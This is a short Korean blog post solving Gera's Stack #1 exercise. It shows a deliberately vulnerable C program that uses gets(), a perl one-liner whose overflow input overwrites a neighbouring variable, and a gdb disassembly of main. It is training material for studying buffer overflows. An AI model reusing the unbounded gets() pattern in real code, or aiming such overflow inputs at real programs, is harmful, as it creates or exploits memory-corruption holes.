Major Study./System hacking

Gera _ Stack #1

sosal 2010. 4. 30. 19:53
반응형

/*
 http://sosal.tistory.com/
 * made by so_Sal
 */

취약점이라 하기 뭣한~?! 음, 아주 간단한 문제입니다.


/*
stack1.c                                     *
* specially crafted to feed your brain by gera */

int main() {
int cookie;
char buf[80];

printf("buf: %08x cookie: %08x\n", &buf, &cookie);
gets(buf);

if (cookie == 0x41424344)
printf("you win!\n");
}


buf[80] 배열을 overflow 시켜서, cookie 변수의 value를 \x41424344로 바꿔주면 되겠습니다.


[sosal@localhost gera]$ (perl -e 'print "\x44\x43\x42\x41"x24'x21;cat) | ./stack1
buf: bfa23ab0 cookie: bfa23b00

you win!

보통 배열과 붙어서 선언된 변수 사이에, 더미가 4~16정도로 생기는걸로 알고있어서,
\x44\x43\x42\x41을 24번 넣어줬구요,
값은 리틀엔디안 방식이기때문에 거꾸로 넣어줬습니다.


스택이 정확히 몇정도 잡힐까 궁금해서 디어셈 해봤는데..

(gdb) disas main
Dump of assembler code for function main:
0x080483e4 <main+0>:    lea    0x4(%esp),%ecx
0x080483e8 <main+4>:    and    $0xfffffff0,%esp
0x080483eb <main+7>:    pushl  -0x4(%ecx)
0x080483ee <main+10>:   push   %ebp
0x080483ef <main+11>:   mov    %esp,%ebp
0x080483f1 <main+13>:   push   %ecx
0x080483f2 <main+14>:   sub    $0x74,%esp        <-- 왜케 스택이 크게잡히는지..
0x080483f5 <main+17>:   lea    -0x8(%ebp),%eax
0x080483f8 <main+20>:   mov    %eax,0x8(%esp)
0x080483fc <main+24>:   lea    -0x58(%ebp),%eax
0x080483ff <main+27>:   mov    %eax,0x4(%esp)
0x08048403 <main+31>:   movl   $0x8048510,(%esp)
0x0804840a <main+38>:   call   0x80482e4 <printf@plt>
0x0804840f <main+43>:   lea    -0x58(%ebp),%eax
0x08048412 <main+46>:   mov    %eax,(%esp)
0x08048415 <main+49>:   call   0x80482c4 <gets@plt>
0x0804841a <main+54>:   mov    -0x8(%ebp),%eax
0x0804841d <main+57>:   cmp    $0x41424344,%eax
0x08048422 <main+62>:   jne    0x8048430 <main+76>
0x08048424 <main+64>:   movl   $0x8048528,(%esp)
0x0804842b <main+71>:   call   0x80482f4 <puts@plt>
0x08048430 <main+76>:   add    $0x74,%esp
0x08048433 <main+79>:   pop    %ecx
0x08048434 <main+80>:   pop    %ebp
0x08048435 <main+81>:   lea    -0x4(%ecx),%esp
0x08048438 <main+84>:   ret
End of assembler dump.
(gdb)


여튼 간단하게 풀 수 있는 문제였습니다.

'Major Study. > System hacking' 카테고리의 다른 글

Gera _ Stack #3  (0) 2010.04.30
Gera _ Stack #2  (0) 2010.04.30
Gera's InsecureProgramming  (0) 2010.04.30
Linux - shared library Hijacking  (3) 2010.01.27
Race condition 해킹 기법 문제  (0) 2010.01.05